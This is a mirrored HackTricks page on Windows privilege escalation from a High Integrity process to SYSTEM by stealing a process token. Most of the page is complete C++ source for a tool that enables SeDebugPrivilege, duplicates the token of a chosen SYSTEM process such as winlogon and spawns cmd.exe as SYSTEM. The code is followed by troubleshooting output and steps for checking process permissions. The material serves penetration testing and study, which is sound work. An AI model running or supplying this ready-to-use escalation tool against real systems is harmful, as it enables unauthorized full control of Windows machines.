mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
180 lines
6.2 KiB
Markdown
180 lines
6.2 KiB
Markdown
|
# SeImpersonate from High To System
|
||
|
|
||
|
### Code
|
||
|
|
||
|
The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.
|
||
|
Running in a High Integrity process you can **indicate the PID of a process running as System** \(like winlogon, wininit\) and execute a cmd.exe as system.
|
||
|
|
||
|
```cpp
|
||
|
impersonateuser.exe 1234
|
||
|
```
|
||
|
|
||
|
{% code title="impersonateuser.cpp" %}
|
||
|
```cpp
|
||
|
#include <windows.h>
|
||
|
#include <iostream>
|
||
|
#include <Lmcons.h>
|
||
|
BOOL SetPrivilege(
|
||
|
HANDLE hToken, // access token handle
|
||
|
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
||
|
BOOL bEnablePrivilege // to enable or disable privilege
|
||
|
)
|
||
|
{
|
||
|
TOKEN_PRIVILEGES tp;
|
||
|
LUID luid;
|
||
|
if (!LookupPrivilegeValue(
|
||
|
NULL, // lookup privilege on local system
|
||
|
lpszPrivilege, // privilege to lookup
|
||
|
&luid)) // receives LUID of privilege
|
||
|
{
|
||
|
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
|
||
|
return FALSE;
|
||
|
}
|
||
|
tp.PrivilegeCount = 1;
|
||
|
tp.Privileges[0].Luid = luid;
|
||
|
if (bEnablePrivilege)
|
||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||
|
else
|
||
|
tp.Privileges[0].Attributes = 0;
|
||
|
// Enable the privilege or disable all privileges.
|
||
|
if (!AdjustTokenPrivileges(
|
||
|
hToken,
|
||
|
FALSE,
|
||
|
&tp,
|
||
|
sizeof(TOKEN_PRIVILEGES),
|
||
|
(PTOKEN_PRIVILEGES)NULL,
|
||
|
(PDWORD)NULL))
|
||
|
{
|
||
|
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
|
||
|
return FALSE;
|
||
|
}
|
||
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||
|
{
|
||
|
printf("[-] The token does not have the specified privilege. \n");
|
||
|
return FALSE;
|
||
|
}
|
||
|
return TRUE;
|
||
|
}
|
||
|
std::string get_username()
|
||
|
{
|
||
|
TCHAR username[UNLEN + 1];
|
||
|
DWORD username_len = UNLEN + 1;
|
||
|
GetUserName(username, &username_len);
|
||
|
std::wstring username_w(username);
|
||
|
std::string username_s(username_w.begin(), username_w.end());
|
||
|
return username_s;
|
||
|
}
|
||
|
int main(int argc, char** argv) {
|
||
|
// Print whoami to compare to thread later
|
||
|
printf("[+] Current user is: %s\n", (get_username()).c_str());
|
||
|
// Grab PID from command line argument
|
||
|
char* pid_c = argv[1];
|
||
|
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
|
||
|
// Initialize variables and structures
|
||
|
HANDLE tokenHandle = NULL;
|
||
|
HANDLE duplicateTokenHandle = NULL;
|
||
|
STARTUPINFO startupInfo;
|
||
|
PROCESS_INFORMATION processInformation;
|
||
|
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
|
||
|
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
|
||
|
startupInfo.cb = sizeof(STARTUPINFO);
|
||
|
// Add SE debug privilege
|
||
|
HANDLE currentTokenHandle = NULL;
|
||
|
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
|
||
|
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
|
||
|
{
|
||
|
printf("[+] SeDebugPrivilege enabled!\n");
|
||
|
}
|
||
|
// Call OpenProcess(), print return code and error code
|
||
|
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
|
||
|
if (GetLastError() == NULL)
|
||
|
printf("[+] OpenProcess() success!\n");
|
||
|
else
|
||
|
{
|
||
|
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
|
||
|
printf("[-] OpenProcess() Error: %i\n", GetLastError());
|
||
|
}
|
||
|
// Call OpenProcessToken(), print return code and error code
|
||
|
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
|
||
|
if (GetLastError() == NULL)
|
||
|
printf("[+] OpenProcessToken() success!\n");
|
||
|
else
|
||
|
{
|
||
|
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
|
||
|
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
|
||
|
}
|
||
|
// Impersonate user in a thread
|
||
|
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
|
||
|
if (GetLastError() == NULL)
|
||
|
{
|
||
|
printf("[+] ImpersonatedLoggedOnUser() success!\n");
|
||
|
printf("[+] Current user is: %s\n", (get_username()).c_str());
|
||
|
printf("[+] Reverting thread to original user context\n");
|
||
|
RevertToSelf();
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
|
||
|
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
|
||
|
}
|
||
|
// Call DuplicateTokenEx(), print return code and error code
|
||
|
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
|
||
|
if (GetLastError() == NULL)
|
||
|
printf("[+] DuplicateTokenEx() success!\n");
|
||
|
else
|
||
|
{
|
||
|
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
|
||
|
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
|
||
|
}
|
||
|
// Call CreateProcessWithTokenW(), print return code and error code
|
||
|
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
|
||
|
if (GetLastError() == NULL)
|
||
|
printf("[+] Process spawned!\n");
|
||
|
else
|
||
|
{
|
||
|
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
|
||
|
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
|
||
|
}
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
### Error
|
||
|
|
||
|
On some occasions you may try to impersonate System and it won't work showing an output like the following:
|
||
|
|
||
|
```cpp
|
||
|
[+] OpenProcess() success!
|
||
|
[+] OpenProcessToken() success!
|
||
|
[-] ImpersonatedLoggedOnUser() Return Code: 1
|
||
|
[-] ImpersonatedLoggedOnUser() Error: 5
|
||
|
[-] DuplicateTokenEx() Return Code: 0
|
||
|
[-] DupicateTokenEx() Error: 5
|
||
|
[-] CreateProcessWithTokenW Return Code: 0
|
||
|
[-] CreateProcessWithTokenW Error: 1326
|
||
|
```
|
||
|
|
||
|
This means that even if you are running on a High Integrity level **you don't have enough permissions**.
|
||
|
Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** \(or you can also use process hacker\):
|
||
|
|
||
|
1. Select a process of `svchost.exe`
|
||
|
2. Right Click --> Properties
|
||
|
3. Inside "Security" Tab click in the bottom right the button "Permissions"
|
||
|
4. Click on "Advanced"
|
||
|
5. Select "Administrators" and click on "Edit"
|
||
|
6. Click on "Show advanced permissions"
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%28353%29.png)
|
||
|
|
||
|
The previous image contains all the privileges that "Administrators" have over the selected process \(as you can see in case of `svchost.exe` they only have "Query" privileges\)
|
||
|
|
||
|
See the privileges "Administrators" have over `winlogon.exe`:
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%28354%29.png)
|
||
|
|
||
|
Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
|
||
|
|
||
|
|
||
|
|